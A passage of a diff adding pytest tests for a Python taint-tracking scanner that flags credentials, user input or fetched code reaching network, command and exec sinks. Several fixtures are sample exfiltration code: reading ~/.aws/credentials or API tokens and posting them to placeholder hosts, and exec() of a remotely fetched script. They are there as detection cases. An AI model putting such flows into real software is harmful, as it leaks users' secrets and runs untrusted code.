f in _run(code)] + + +class TestNameClashPrecision: + """A tainted name in one scope must not taint a same-named name in another. + + Taint used to be keyed by bare variable name across the whole file. Once + propagation became order-independent (#611), a tainted local such as + ``headers`` in one function tainted every unrelated variable or parameter + called ``headers`` in the file, reporting TT3 (CRITICAL) on sinks that never + see the credential. Each case below is one class of the name clashes found + in real skills. + """ + + def test_same_local_name_in_two_functions(self) -> None: + code = _code( + """ + import os, requests + def probe_render(): + request = {"token": os.environ.get("RENDER_TOKEN")} + return len(request) + def probe_service(url): + request = url + "/health" + requests.get(request, timeout=5) + """ + ) + assert _run(code) == [] + + def test_parameter_named_like_a_tainted_local_in_either_order(self) -> None: + helper = _code( + """ + def fetch(url, headers): + return requests.get(url, headers=headers) + """ + ) + caller = _code( + """ + def main(): + headers = {"Authorization": os.getenv("API_TOKEN")} + print(headers) + fetch("https://example.invalid/v1", {"Accept": "application/json"}) + """ + ) + for body in (helper + caller, caller + helper): + assert _run("import os, requests\n" + body) == [] + + def test_caller_local_not_passed_to_a_same_named_parameter(self) -> None: + """The callee's ``text`` is a parameter; the caller's ``text`` never reaches it.""" + code = _code( + """ + import hashlib, os + def cache_file(text): + key = hashlib.sha256(text.encode()).hexdigest() + path = os.path.join("/tmp", key) + open(path, "w").write("{}") + def main(path): + text = open(path).read() + print(len(text)) + cache_file("constant") + """ + ) + assert _run(code) == [] + + def test_nested_function_parameter_named_like_a_tainted_variable(self) -> None: + code = _code( + """ + import json, subprocess, sys + def make_runner(): + def runner(stage_path): + payload = json.dumps({"stage_path": stage_path}) + subprocess.run(["worker"], input=payload) + return runner + def worker(): + job = json.loads(sys.stdin.read()) + stage_path = job["stage_path"] + print(stage_path) + """ + ) + assert _run(code) == [] + + def test_loop_target_named_like_a_tainted_variable(self) -> None: + code = _code( + """ + import os, subprocess + def configure(): + host = os.environ.get("REMOTE_HOST") + return host + def inspect(hosts): + for host in hosts: + subprocess.run(["ssh", host, "true"]) + """ + ) + assert _run(code) == [] + + def test_local_shadowing_a_tainted_global(self) -> None: + code = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + def send(): + TOKEN = "public" + requests.post("https://example.invalid", data=TOKEN) + """ + ) + assert _run(code) == [] + + def test_method_parameter_named_like_a_tainted_local(self) -> None: + code = _code( + """ + import os, requests + class Client: + def check(self): + token = os.getenv("API_TOKEN") + return bool(token) + def send(self, token): + requests.post("https://example.invalid", data=token) + Client().send("public") + """ + ) + assert _run(code) == [] + + def test_comprehension_target_named_like_a_tainted_variable(self) -> None: + code = _code( + """ + import os, requests + url = os.getenv("WEBHOOK_URL") + def ping(u): + requests.get(u, timeout=5) + def check(urls): + [requests.get(url, timeout=5) for url in urls] + return [ping(url) for url in urls] + """ + ) + assert _run(code) == [] + + def test_lambda_parameter_named_like_a_tainted_variable(self) -> None: + code = _code( + """ + import os, requests + payload = os.getenv("API_TOKEN") + send = lambda payload: requests.post("https://x.invalid", data=payload) + send("public") + """ + ) + assert _run(code) == [] + + def test_class_body_names_are_invisible_to_methods(self) -> None: + code = _code( + """ + import os, requests + token = "public" + class Client: + token = os.getenv("API_TOKEN") + def send(self): + requests.post("https://x.invalid", data=token) + """ + ) + assert _run(code) == [] + + def test_instance_attributes_are_per_class(self) -> None: + unrelated = _code( + """ + import os, requests + class Secret: + def __init__(self): + self.token = os.getenv("API_TOKEN") + class Public: + def __init__(self): + self.token = "public" + def send(self): + requests.post("https://example.invalid", data=self.token) + """ + ) + siblings = _code( + """ + import os, requests + class ChatProvider: + def chat(self, messages): + raise NotImplementedError + class NvidiaProvider(ChatProvider): + def __init__(self): + self.headers = {"Authorization": os.environ.get("NVIDIA_API_KEY")} + def chat(self, messages): + return requests.post("https://nvidia.invalid", headers=self.headers) # REAL + class OllamaProvider(ChatProvider): + def __init__(self): + self.headers = {"Content-Type": "application/json"} + def chat(self, messages): + return requests.post("http://localhost:11434", headers=self.headers) + """ + ) + sibling_methods = _code( + """ + import os, requests + class Backend: + pass + class CloudBackend(Backend): + def auth_token(self): + return os.environ.get("CLOUD_TOKEN") + class LocalBackend(Backend): + def auth_token(self): + return "anonymous" + def health(self): + return requests.get("http://localhost", params={"u": self.auth_token()}) + """ + ) + assert _run(unrelated) == [] + assert _summary(siblings) == [("TT3", _line(siblings, "# REAL"))] + assert _run(sibling_methods) == [] + + def test_only_the_parameter_receiving_the_secret_is_tainted(self) -> None: + code = _code( + """ + import os, requests + def upload(url, payload): + requests.get(url) # CLEAN + requests.post(url, data=payload) # SINK + def main(): + upload("https://example.invalid", os.getenv("API_TOKEN")) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + @pytest.mark.parametrize( + "rebinding", + [ + "import json as x\n requests.post('https://x.invalid', data=x)", + "try:\n pass\n except Exception as x:\n" + " requests.post('https://x.invalid', data=x)", + "match cmd:\n case [x]:\n requests.post('https://x.invalid', data=x)", + "match cmd:\n case {'token': x}:\n" + " requests.post('https://x.invalid', data=x)", + "z = [y for x in ['a', 'b'] for y in x]\n requests.post('https://x.invalid', data=z)", + ], + ids=["import_as", "except_as", "match_sequence", "match_mapping", "later_iterable"], + ) + def test_function_local_bindings_shadow_a_tainted_global(self, rebinding: str) -> None: + """Each binding form makes ``x`` a local of the function, so the + module-level secret named ``x`` never reaches the sink. (A later + ``for`` of a comprehension iterates the comprehension's own ``x``.)""" + code = f"import os, requests\nx = os.getenv('TOKEN')\ndef f(cmd):\n {rebinding}\n" + assert _run(code) == [] + # The same sink reading the global (no local binding) is reported. + unbound = "import os, requests\nx = os.getenv('TOKEN')\ndef f(cmd):\n z = x\n" + ( + " requests.post('https://x.invalid', data=z)\n" + ) + assert [f.rule_id for f in _run(unbound)] == ["TT3"] + + +class TestDirectCalls: + """Arguments of direct in-file calls bind to parameters; returns reach callers.""" + + def test_helper_returns(self) -> None: + same_name = _code( + """ + import os, requests + def get_key(): + key = os.getenv("API_KEY") + return key + def send(): + key = get_key() # ASSIGN + requests.post("https://example.invalid", data=key) # SINK + """ + ) + other_name = same_name.replace("key = get_key()", "value = get_key()").replace( + "data=key", "data=value" + ) + for code, name in ((same_name, "key"), (other_name, "value")): + (finding,) = _flows(code) + assert finding.start_line == _line(code, "# SINK") + assert f"'{name}' from os.getenv (line {_line(code, '# ASSIGN')}," in finding.message + + def test_helper_called_inside_the_sink(self) -> None: + code = _code( + """ + import os, requests + def get_key(): + return os.environ["API_KEY"] # RETURN + requests.post("https://example.invalid", data=get_key()) + """ + ) + (finding,) = _flows(code) + assert finding.message == ( + f"Tainted flow: 'get_key()' from os.environ (line {_line(code, '# RETURN')}, " + "credential/environment) → requests.post (network output)" + ) + + def test_chained_and_nested_helpers(self) -> None: + chained = _code( + """ + import os, requests + def raw(): + return os.getenv("API_KEY") + def normalized(): + return raw().strip() + requests.post("https://example.invalid", data=normalized()) + """ + ) + nested = _code( + """ + import os, requests + def outer(): + token = os.getenv("API_TOKEN") + def inner(value): + requests.post("https://example.invalid", data=value) + def free(): + requests.post("https://example.invalid", data=token) + inner(token) + free() + """ + ) + nonlocal_rebinding = _code( + """ + import os, requests + def outer(): + token = None + def load(): + nonlocal token + token = os.getenv("API_TOKEN") + load() + requests.post("https://example.invalid", data=token) + """ + ) + assert len(_flows(chained)) == 1 + assert len(_flows(nested)) == 2 + assert len(_flows(nonlocal_rebinding)) == 1 + + def test_argument_binding(self) -> None: + for call in ( + "upload(secret)", + "upload(payload=secret)", + "upload(*[secret])", + "upload(**{'payload': secret})", + 'upload(os.getenv("API_KEY"))', + "wrapper(secret)", + ): + code = _code( + f""" + import os, requests + def upload(payload): + requests.post("https://example.invalid", data=payload) + def wrapper(*args, **kwargs): + return upload(*args, **kwargs) + def main(): + secret = os.getenv("API_KEY") + {call} + """ + ) + assert len(_flows(code)) == 1, call + # A forwarded ``**kwargs`` binds nothing, as on ``main``: the keyword + # is not followed. + forwarded = code.replace("wrapper(secret)", "wrapper(payload=secret)") + assert _run(forwarded) == [] + + def test_defaults_varargs_and_kwargs(self) -> None: + for definition, call in ( + ("def send(*value):", 'send("x", os.getenv("API_KEY"))'), + ("def send(**value):", 'send(key=os.getenv("API_KEY"))'), + ('def send(value=os.getenv("API_KEY")):', "send()"), + ('def send(*, value=os.getenv("API_KEY")):', "send()"), + ("def send(a, b, /, value):", 'send(1, 2, os.getenv("API_KEY"))'), + ): + code = _code( + f""" + import os, requests + {definition} + requests.post("https://example.invalid", data=value) + {call} + """ + ) + assert len(_flows(code)) == 1, definition + + def test_immediately_called_lambda_defaults_hold_their_value(self) -> None: + """A default ``(lambda: ...)()`` holds the lambda's return value, so its + body is read; a default that is a lambda holds a function and is not.""" + for definition in ( + 'def f(tok=(lambda: os.getenv("API_TOKEN"))()):', + 'def f(*, tok=(lambda: os.getenv("API_TOKEN"))()):', + 'def f(tok=(lambda k: os.getenv(k))("API_TOKEN")):', + 'f = lambda tok=(lambda: os.getenv("API_TOKEN"))(): requests.post(URL, data=tok)', + ): + body = "" if definition.startswith("f = ") else " requests.post(URL, data=tok)\n" + code = f'import os, requests\nURL = "https://x.invalid"\n{definition}\n{body}' + assert [f.rule_id for f in _run(code)] == ["TT3"], definition + not_called = ( + "import os, requests\n" + 'def f(tok=lambda: os.getenv("API_TOKEN")):\n' + ' requests.post("https://x.invalid", data=tok)\n' + ) + assert _run(not_called) == [] + + def test_positional_arguments_beyond_the_slot_cap_still_bind(self) -> None: + cap = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS + + def module(width: int, tainted: int, read: int) -> str: + params = ", ".join(f"p{i}" for i in range(width)) + args = ", ".join( + 'os.getenv("API_KEY")' if i == tainted else str(i) for i in range(width) + ) + return ( + "import os, requests\n" + f"def send({params}):\n" + f' requests.post("https://example.invalid", data=p{read})\n' + f"send({args})\n" + ) + + # The first argument past the explicit slots (index == cap) and a later one. + assert len(_flows(module(cap + 1, cap, cap))) == 1 + assert len(_flows(module(cap + 4, cap + 3, cap + 3))) == 1 + # Arguments past the cap never reach the explicit parameters before it. + assert _flows(module(cap + 1, cap, 0)) == [] + assert _flows(module(cap + 1, cap, cap - 1)) == [] + # The argument at exactly index ``cap`` also reaches ``*rest``, as a + # function argument and after an implicit ``self`` (offset 1). + leading = ", ".join(["0"] * cap) + star = ( + "import os, requests\n" + "def send(*rest):\n" + ' requests.post("https://example.invalid", data=rest)\n' + f'send({leading}, os.getenv("API_KEY"))\n' + ) + method = ( + "import os, requests\n" + "class Api:\n" + f" def send(self, {', '.join(f'p{i}' for i in range(cap - 1))}, *rest):\n" + ' requests.post("https://example.invalid", data=rest)\n' + " def run(self):\n" + f' self.send({", ".join(["0"] * (cap - 1))}, os.getenv("API_KEY"))\n' + ) + assert len(_flows(star)) == 1 + assert len(_flows(method)) == 1 + + def test_unpacked_arguments_bind_by_position_and_name(self) -> None: + """``*seq`` fills parameters from its position on; ``**mapping`` fills + keyword-only parameters and ``**kwargs`` as well as named ones.""" + for definition, call in ( + ("def send(label, value):", 'send(*["public", os.getenv("API_KEY")])'), + ("def send(label, value):", 'send("public", *[os.getenv("API_KEY")])'), + ("def send(*, value):", 'send(**{"value": os.getenv("API_KEY")})'), + ("def send(**value):", "send(**opts)"), + ("def send(*, value):", "send(**opts)"), + ): + code = _code( + f""" + import os, requests + opts = {{"value": os.getenv("API_KEY")}} + {definition} + requests.post("https://example.invalid", data=value) # SINK + {call} + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], (definition, call) + # A ``*seq`` starting after a parameter never fills that parameter. + before = _code( + """ + import os, requests + def send(value, label): + requests.post("https://example.invalid", data=value) + send("public", *[os.getenv("API_KEY")]) + """ + ) + assert _run(before) == [] + + def test_forwarding_wrappers_reach_the_named_parameter(self) -> None: + code = _code( + """ + import os, requests + def upload(url, payload): + requests.post(url, data=payload) # SINK + def wrapper(*args, **kwargs): + return upload(*args, **kwargs) + def main(): + secret = os.getenv("API_KEY") + wrapper("https://example.invalid", secret) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_keywords_bind_only_their_named_parameter(self) -> None: + """A keyword naming a parameter never also lands in ``**kwargs``.""" + for definition, call in ( + ("def call_api(url, token=None, **params):", 'token=os.environ["API_TOKEN"], q="x"'), + ("def call_api(url, *, token=None, **params):", 'token=os.environ["API_TOKEN"]'), + ): + code = _code( + f""" + import os, requests + {definition} + headers = {{"Authorization": f"Bearer {{token}}"}} + return requests.get(url, params=params) + call_api("https://example.invalid", {call}) + """ + ) + assert _run(code) == [], definition + method = _code( + """ + import os, subprocess + class Runner: + def run(self, cmd, dry_run=None, **popen_kwargs): + subprocess.run(cmd, **popen_kwargs) + def go(self): + self.run(["ls"], dry_run=input()) + """ + ) + assert _run(method) == [] + # Unnamed keywords, and positional-only names, do reach ``**kwargs``. + for definition, call in ( + ("def call_api(url, token=None, **params):", 'q=os.environ["API_TOKEN"]'), + ("def call_api(url, token=None, /, **params):", 'token=os.environ["API_TOKEN"]'), + ): + code = _code( + f""" + import os, requests + {definition} + return requests.get(url, params=params) # SINK + call_api("https://example.invalid", {call}) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))], definition + # A keyword never fills a positional-only parameter, even when a + # redefinition of the callee takes that name as a keyword. + redefined = _code( + """ + import os, requests + def send(value, /): + requests.post("https://example.invalid", data=value) + def send(value): + print(value) + send(value=os.getenv("API_KEY")) + """ + ) + assert _run(redefined) == [] + + def test_a_lambda_bound_to_many_names_is_one_callee(self) -> None: + code = _code( + """ + import os, requests + a = b = c = lambda payload: requests.post("https://x.invalid", data=payload) # SINK + def b(other): + print(other) + b(os.getenv("API_TOKEN")) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + parsed = get_python_ast(None, code, "t.py") + index = behavioral_taint_tracking._build_scope_index(parsed.tree) + groups = {id(group): group for group in index.function_groups.values()} + # The lambda and the ``def b`` it shares a name with are one callee + # that ``a``, ``b`` and ``c`` all reach; nothing is copied per name. + assert len(index.function_groups) == 3 + (group,) = groups.values() + assert len(group.functions) == 2 + + def test_recursion_terminates(self) -> None: + code = _code( + """ + import os, requests + def ping(value): + requests.post("https://example.invalid", data=value) + return pong(value) + def pong(value): + return ping(value) + ping(os.getenv("API_TOKEN")) + """ + ) + assert len(_flows(code)) == 1 + + def test_redefinitions_merge_into_one_callee(self) -> None: + code = _code( + """ + import os, requests + def send(body): + print(body) + def send(body): + requests.post("https://example.invalid", data=body) # SINK + send(os.getenv("API_TOKEN")) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_global_assigned_inside_a_function(self) -> None: + code = _code( + """ + import os, requests + def configure(value): + global TOKEN + TOKEN = value + def send(): + requests.post("https://example.invalid", data=TOKEN) + configure(os.getenv("API_TOKEN")) + """ + ) + assert len(_flows(code)) == 1 + + def test_lambdas_bound_to_names_and_called_inline(self) -> None: + named = _code( + """ + import os, requests + post_secret = lambda payload: requests.post("https://x.invalid", data=payload) # SINK + def main(): + value = os.getenv("API_TOKEN") + post_secret(value) + """ + ) + returned = _code( + """ + import os, requests + token = lambda: os.getenv("API_TOKEN") # RETURN + requests.post("https://x.invalid", data=token()) # SINK + """ + ) + assert _summary(named) == [("TT3", _line(named, "# SINK"))] + assert _summary(returned) == [("TT3", _line(returned, "# SINK"))] + + def test_exec_and_file_flows_through_helpers(self) -> None: + exec_flow = _code( + """ + import requests, subprocess + def fetch(): + return requests.get("https://x.invalid/script").text + def run(command): + subprocess.run(command, shell=True) + run(input()) + exec(fetch()) + """ + ) + file_flow = _code( + """ + import os, requests + def read(): + return open(os.path.expanduser("~/.aws/credentials")).read() + creds = read() + requests.post("https://x.invalid", data=creds) + """ + ) + assert [f.rule_id for f in _run(exec_flow)] == ["TT5", "TT5"] + assert [f.rule_id for f in _run(file_flow)] == ["TT4"] + + def test_token_from_helper_header_builder_reaches_request(self) -> None: + """A token loaded by a helper, put in an auth header and sent, is TT3.""" + code = _code( + """ + import os, requests + def load_token(): + token = os.getenv("SERVICE_TOKEN") + return token.strip() if token else None + def auth_headers(token=None): + if token is None: + token = load_token() + return {"Authorization": f"Bearer {token}"} + def service_get(url, *, headers=None): + request_headers = dict(headers or {}) # COPY + return requests.get(url, headers=request_headers) # SINK + def check(url): + return service_get(url, headers=auth_headers()) + """ + ) + (finding,) = _flows(code) + assert finding.start_line == _line(code, "# SINK") + assert f"'request_headers' from os.getenv (line {_line(code, '# COPY')}," in ( + finding.message + ) + + +class TestContextSensitivity: + """One caller's secret must not taint other calls of the same helper.""" + + def test_helper_result_is_tainted_only_where_the_secret_is_passed(self) -> None: + code = _code( + """ + import os, requests + def _headers(token=None): + h = {"Accept": "application/json"} + if token: + h = {"Accept": "application/json", "Authorization": f"Bearer {token}"} + return h + def private_api(): + return requests.get("https://api.invalid/me", headers=_headers(os.getenv("T"))) # SINK + def public_status(): + return requests.post("https://status.invalid/ping", headers=_headers()) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_pure_transform_helper_does_not_leak_between_callers(self) -> None: + code = _code( + """ + import os, json, requests + def to_json(obj): + return json.dumps(obj, indent=2) + def save_config(): + cfg = {"api_key": os.getenv("API_KEY")} + print(to_json(cfg)) + def report(results): + requests.post("https://telemetry.invalid", data=to_json(results)) + """ + ) + assert _run(code) == [] + + def test_closures_and_lambdas_do_not_leak_between_callers(self) -> None: + closure = _code( + """ + import os, requests + def wrap(value): + def inner(): + return value + return inner() + def log_key(): + print(wrap(os.getenv("API_KEY"))) + def upload(): + body = wrap("public text") + requests.post("https://example.invalid", data=body) + """ + ) + lambda_closure = closure.replace( + "def inner():\n return value\n return inner()", + "get = lambda: value\n return get()", + ) + named_lambda = _code( + """ + import base64, os, requests + b64 = lambda text: base64.b64encode(text.encode()).decode() + def auth_header(): + return "Basic " + b64("user:" + os.getenv("PASSWORD", "")) + def upload(report): + requests.post("https://example.invalid/upload", data=b64(report)) + """ + ) + assert "get = lambda: value" in lambda_closure + for code in (closure, lambda_closure, named_lambda): + assert _run(code) == [], code + + def test_secrets_still_flow_through_arguments_globals_and_attributes(self) -> None: + code = _code( + """ + import os, requests + def remember(value): + global TOKEN + TOKEN = value + class Holder: + def __init__(self, secret): + self.keep(secret) + def keep(self, value): + self.value = value + def send(self): + requests.post("https://x.invalid", data=self.value) # ATTR + def wrap(value): + return {"v": value} + def main(): + secret = os.getenv("API_KEY") + remember(secret) + Holder(secret) + requests.post("https://x.invalid", json=wrap(secret)) # ARG + def later(): + requests.post("https://x.invalid", data=TOKEN) # GLOBAL + """ + ) + assert _summary(code) == sorted( + ("TT3", _line(code, marker)) for marker in ("# ATTR", "# ARG", "# GLOBAL") + ) + + def test_inline_source_through_a_helper_is_reported_once(self) -> None: + network = _code( + """ + import requests + def wrap(text): + return {"q": text} + requests.post("https://api.invalid/search", json=wrap(input("query: "))) + """ + ) + command = _code( + """ + import os, subprocess + def make_cmd(binary): + return [binary, "--version"] + subprocess.run(make_cmd(os.environ.get("TOOL_BIN"))) + """ + ) + assert [f.rule_id for f in _run(network)] == ["TT1"] + assert [f.rule_id for f in _run(command)] == ["TT1"] + + def test_nested_in_file_calls_bind_through_their_values(self) -> None: + code = _code( + """ + import os, requests + def ident(value): + return value + def send(body): + requests.post("https://x.invalid", data=body) # SINK + def main(): + send(ident(ident(os.getenv("API_KEY")))) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + +class TestMethods: + """``self.m``/``cls.m``/``Class.m``/``super().m`` and ``Class(...)`` bind syntactically.""" + + def test_self_and_cls_methods(self) -> None: + code = _code( + """ + import os, requests + class Client: + def _token(self): + return os.getenv("API_TOKEN") # SOURCE + def send(self): + requests.post("https://x.invalid", data=self._token()) # RETURNED + def _post(self, body): + requests.post("https://x.invalid", data=body) # BOUND + def run(self): + self._post(os.getenv("OTHER")) + @classmethod + def _class_post(cls, body): + requests.post("https://x.invalid", data=body) # CLASSMETHOD + @classmethod + def run_class(cls): + cls._class_post(os.getenv("OTHER")) + """ + ) + assert _summary(code) == sorted( + ("TT3", _line(code, marker)) for marker in ("# RETURNED", "# BOUND", "# CLASSMETHOD") + ) + (returned,) = [f for f in _run(code) if f.start_line == _line(code, "# RETURNED")] + assert returned.message.startswith( + f"Tainted flow: 'self._token()' from os.getenv (line {_line(code, '# SOURCE')}," + ) + + def test_methods_bind_only_into_their_own_class_or_bases(self) -> None: + code = _code( + """ + import os, requests + class Api: + def upload(self, body): + print(body) + def run(self): + self.upload(os.getenv("API_TOKEN")) + class Mirror: + def upload(self, body): + requests.post("https://example.invalid", data=body) + class Sub(Api): + def go(self): + self.upload(os.getenv("API_TOKEN")) + """ + ) + assert _run(code) == [] + + def test_bases_are_searched_left_to_right(self) -> None: + code = _code( + """ + import os, requests + class Local: + def send(self, body): + print(body) + class Remote: + def send(self, body): + requests.post("https://x.invalid", data=body) + class Client(Local, Remote): + def run(self): + self.send(os.getenv("API_KEY")) + """ + ) + assert _run(code) == [] + flipped = code.replace("class Client(Local, Remote):", "class Client(Remote, Local):") + assert [f.rule_id for f in _run(flipped)] == ["TT3"] + + def test_attribute_getters_return_what_a_call_stored(self) -> None: + """Attributes are class state: a parameter stored on ``self`` is read back + by getters, not only by direct ``self.x`` reads.""" + code = _code( + """ + import os, requests + class Holder: + def keep(self, value): + self.value = value + def get(self): + return self.value + def run(self): + self.keep(os.getenv("API_KEY")) + def send(self): + requests.post("https://x.invalid", data=self.get()) # SINK + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_nearest_in_file_base_defines_the_method(self) -> None: + code = _code( + """ + import os, requests + from typing import Generic, TypeVar + T = TypeVar("T") + class Transport: + def _post(self, body): + requests.post("https://x.invalid", data=body) # SINK + class Mixin: + pass + class Base(Generic[T], Transport): + pass + class Client(Mixin, Base[dict]): + def report(self): + self._post(os.getenv("API_KEY")) + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_class_object_calls_pass_the_receiver_explicitly(self) -> None: + true_flow = _code( + """ + import os, requests + class Base: + def __init__(self, token): + requests.post("https://x.invalid", data=token) # SINK + class Child(Base): + def __init__(self): + token = os.getenv("TOKEN") + Base.__init__(self, token) + """ + ) + shifted = _code( + """ + import os, requests + class Base: + def __init__(self, user, body): + print(user) + requests.post("https://x.invalid", data=body) + class Child(Base): + def __init__(self): + Base.__init__(self, os.getenv("USER_NAME"), "public") + """ + ) + static_and_class = _code( + """ + import os, requests + class Api: + @staticmethod + def send(body): + requests.post("https://x.invalid", data=body) # STATIC + @classmethod + def post(cls, body): + requests.post("https://x.invalid", data=body) # CLASS + Api.send(os.getenv("API_TOKEN")) + Api.post(os.getenv("API_TOKEN")) + """ + ) + assert _summary(true_flow) == [("TT3", _line(true_flow, "# SINK"))] + assert _run(shifted) == [] + assert _summary(static_and_class) == sorted( + ("TT3", _line(static_and_class, marker)) for marker in ("# STATIC", "# CLASS") + ) + + def test_constructors_bind_to_init(self) -> None: + by_name = _code( + """ + import os, requests + class Client: + def __init__(self, token): + self.token = token + def send(self): + requests.post("https://x.invalid", headers={"A": self.token}) # SINK + Client(os.getenv("API_TOKEN")).send() + """ + ) + by_cls = _code( + """ + import os, requests + class Client: + def __init__(self, token): + requests.post("https://auth.invalid", data={"token": token}) # SINK + @classmethod + def from_env(cls): + token = os.environ.get("API_TOKEN") + return cls(token) + """ + ) + for code in (by_name, by_cls): + assert _summary(code) == [("TT3", _line(code, "# SINK"))], code + + def test_super_calls_use_the_base_lookup(self) -> None: + returned = _code( + """ + import os, requests + class Base: + def auth(self): + token = os.environ["TOKEN"] + return token + class Child(Base): + def send(self): + token = super().auth() + requests.post("https://x.invalid", data=token) # ZERO_ARG + def send2(self): + requests.post("https://x.invalid", data=super(Child, self).auth()) # TWO_ARG + """ + ) + unrelated_init = _code( + """ + import os, requests + class Credentials: + def __init__(self, token): + self.token = token + class EnvCredentials(Credentials): + def __init__(self): + super().__init__(os.environ.get("API_TOKEN")) + class Downloader: + def __init__(self, url): + self.url = url + def fetch(self): + return requests.get(self.url, timeout=10) + class ApiError(Exception): + def __init__(self, message): + super().__init__(message) + def run(cmd): + raise ApiError(requests.get(cmd).text) + """ + ) + overridden = _code( + """ + import os, requests + class Base: + def send(self, payload): + print(payload) + def auth(self): + return "public" + class Child(Base): + def send(self, payload): + requests.post("https://x.invalid", data=payload) + def auth(self): + return os.getenv("TOKEN") + def run(self): + super().send(os.getenv("TOKEN")) + requests.post("https://x.invalid", data=super().auth()) + """ + ) + assert _summary(returned) == [ + ("TT3", _line(returned, "# ZERO_ARG")), + ("TT3", _line(returned, "# TWO_ARG")), + ] + assert _run(unrelated_init) == [] + assert _run(overridden) == [] + + def test_attributes_are_seen_by_the_class_and_its_subclasses(self) -> None: + set_in_init = _code( + """ + import os, requests + class Client: + TOKEN = os.getenv("CLASS_TOKEN") + def __init__(self): + self.token = os.getenv("API_TOKEN") + def send(self): + token = self.token + requests.post("https://x.invalid", data=token) # LOCAL + def send_class(self): + requests.post("https://x.invalid", headers={"A": self.TOKEN}) # CLASS + class Child(Client): + def send_child(self): + requests.post("https://x.invalid", data=self.token) # CHILD + """ + ) + parent_reads = _code( + """ + import os, requests + class Base: + def send(self): + requests.post("https://x.invalid", data=self.token) + class Child(Base): + def __init__(self): + self.token = os.getenv("API_TOKEN") + """ + ) + assert _summary(set_in_init) == sorted( + ("TT3", _line(set_in_init, marker)) for marker in ("# LOCAL", "# CLASS", "# CHILD") + ) + # A base never reads a subclass's attributes (no shared hierarchy namespace). + assert _run(parent_reads) == [] + + def test_class_scope_defaults(self) -> None: + code = _code( + """ + import os, requests + class Client: + TOKEN = os.getenv("API_TOKEN") + def send(self, token=TOKEN): + requests.post("https://x.invalid", data=token) # SINK + """ + ) + assert _summary(code) == [("TT3", _line(code, "# SINK"))] + + def test_constructed_receivers_bind_and_return(self) -> None: + """``Class().m(...)`` and ``cls().m(...)`` call ``m`` on an instance of + an in-file class: arguments bind and the return value is read.""" + returned = _code( + """ + import os, requests + class Collector: + def collect(self): + token = os.environ.get("API_KEY") + return token + @classmethod + def load(cls): + payload = cls().collect() # FROM_CLS + requests.post("https://x.invalid", data=payload) # SINK_CLS + def main(): + payload = Collector().collect() # FROM_NAME + requests.post("https://x.invalid", data=payload) # SINK_NAME + """ + ) + assert sorted( + (f.rule_id, f.start_line, f.message.split(" →")[0]) for f in _run(returned) + ) == [ + ( + "TT3", + _line(returned, "# SINK_CLS"), + f"Tainted flow: 'payload' from os.environ.get (line {_line(returned, '# FROM_CLS')}, " + "credential/environment)", + ), + ( + "TT3", + _line(returned, "# SINK_NAME"), + f"Tainted flow: 'payload' from os.environ.get (line {_line(returned, '# FROM_NAME')}, " + "credential/environment)", + ), + ] + other_lanes = _code( + """ + import requests + class Fetcher: + def code(self): + return requests.get("https://x.invalid/script").text + def creds(self): + return open("creds.txt").read() + exec(Fetcher().code()) + requests.post("https://x.invalid", data=Fetcher().creds()) + """ + ) + assert [f.rule_id for f in _run(other_lanes)] == ["TT5", "TT4"] + bound = _code( + """ + import os, requests + class Uploader: + def upload(self, body): + requests.post("https://x.invalid", data=body) # SINK + Uploader().upload(os.environ.get("API_KEY")) + """ + ) + assert _summary(bound) == [("TT3", _line(bound, "# SINK"))] + # The constructed receiver is an instance: ``self`` is implicit. + shifted = bound.replace("def upload(self, body):", "def upload(self, body, extra=None):") + shifted = shifted.replace("data=body", "data=extra") + assert _run(shifted) == [] + + def test_unpacking_never_fills_the_implicit_receiver(self) -> None: + """``*args`` / ``**kwargs`` / overflow arguments of a bound call never + reach ``self`` / ``cls``: Python passes the receiver implicitly.""" + forwarded_init = _code( + """ + import os, requests + class BaseClient: + DEFAULT_URL = "https://api.invalid" + def __init__(self, api_key=None): + self.api_key = api_key + self.base_url = self.DEFAULT_URL + def health(self): + return requests.get(self.base_url + "/health") + class OpenAIClient(BaseClient): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + client = OpenAIClient(api_key=os.getenv("OPENAI_API_KEY")) + other = OpenAIClient(os.getenv("OPENAI_API_KEY")) + """ + ) + bound_calls = _code( + """ + import subprocess, requests + class Tool: + cmd = ["git", "status"] + def send(self, *words): + requests.post("https://x.invalid", data=self.cmd) + def configure(self, **opts): + subprocess.run(self.cmd) + @classmethod + def launch(cls, *names): + subprocess.run(cls.cmd) + def run(self): + self.send(*input().split()) + self.configure(**{"mode": input()}) + Tool.launch(*input().split(",")) + Tool(**{"x": input()}) + """ + ) + assert _run(forwarded_init) == [] + assert _run(bound_calls) == [] + # An unbound ``Class.m(*args)`` does pass ``self`` explicitly. + unbound = _code( + """ + import subprocess + class Runner: + def go(self, label): + subprocess.run(self) # SINK + Runner.go(*input().split()) + """ + ) + assert _summary(unbound) == [("TT5", _line(unbound, "# SINK"))] + # Positional forwarding still reaches the base's named parameter. + true_flow = _code( + """ + import os, requests + class Base: + def __init__(self, token=None): + requests.post("https://x.invalid", data=token) # SINK + class Child(Base): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + Child(os.getenv("API_TOKEN")) + """ + ) + assert _summary(true_flow) == [("TT3", _line(true_flow, "# SINK"))] + + def test_forwarded_kwargs_bind_nothing(self) -> None: + """A forwarded ``**kwargs`` (a function's own ``**`` parameter passed + on) binds nothing in the callee, as on ``main``: which names it holds + is not tracked, so neither a named parameter nor the callee's own + ``**`` parameter can be chosen for it.""" + base = _code( + """ + import os, requests + class BaseClient: + def __init__(self, api_key=None, timeout=30): + self.api_key = api_key + self.timeout = timeout + def health(self): + return requests.get("https://api.invalid/health", timeout=self.timeout) + def send(self): + return requests.post("https://api.invalid", headers={"K": self.api_key}) + class OpenAIClient(BaseClient): + def __init__(self, **kwargs): + super().__init__(**kwargs) + """ + ) + for call in ( + 